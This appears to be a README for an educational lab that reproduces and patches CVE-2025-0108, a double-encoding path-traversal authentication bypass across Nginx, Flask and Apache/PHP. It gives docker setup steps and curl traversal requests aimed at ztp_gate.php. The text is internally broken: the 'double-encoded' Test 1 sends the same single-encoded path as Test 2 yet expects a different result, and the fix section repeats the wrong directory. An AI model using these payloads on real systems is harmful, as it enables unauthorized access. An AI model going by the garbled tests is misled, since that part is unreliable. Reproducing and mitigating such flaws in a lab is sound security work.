CVE-2025-0108 — WebSecurity (PoC & Fix)

This repository contains a small lab environment for reproducing and mitigating the CVE-2025-0108 issue (path confusion / header smuggling between Nginx and Apache).
The goal of the assignment is to demonstrate how double-encoded requests can bypass authentication in a multi-layer stack (Nginx -> Flask backend -> Apache/PHP) and to show a backend-side mitigation.

This environment is for educational purposes only.

Contents

• CVE-2025-0108/ — vulnerable implementation (PoC)
• CVE-2025-0108_fix/ — patched implementation (backend verifies decoded path)

PoC (vulnerable) — CVE-2025-0108

Purpose

Simulate the vulnerable setup where a double-encoded path can bypass authentication due to inconsistent path decoding between layers.

Start the environment

From the CVE-2025-0108 directory:

cd CVE-2025-0108
docker compose up --build

Tests

Run these curl commands from your host:

Test 1 — double-encoded (expected: HTTP 200)

curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"

This request uses double encoding (%252e%252e == %2e%2e == ..) and demonstrates the bypass in the vulnerable setup. It should return 200 OK.

Test 2 — single-encoded (expected: HTTP 401)

curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"

Test 3 — raw path with .. (expected: HTTP 401)

curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"

Stop environments:

docker compose down

Fixed version — CVE-2025-0108_fix

Backend performs an additional check on the decoded path before allowing access. This prevents authentication bypass when requests are double-encoded.

From the CVE-2025-0108 directory:

cd CVE-2025-0108
docker compose up --build

Tests

Run these curl commands from your host:

From the CVE-2025-0108_fix directory:

cd CVE-2025-0108_fix
docker compose up --build

Test 1 — double-encoded (expected: HTTP 401)

curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"

Fixed backend detects decoded .. and returns 401 Unauthorized.

Test 2 — single-encoded (expected: HTTP 401)

curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"

Test 3 — raw path with .. (expected: HTTP 401)

curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"

Stop environments:

docker compose down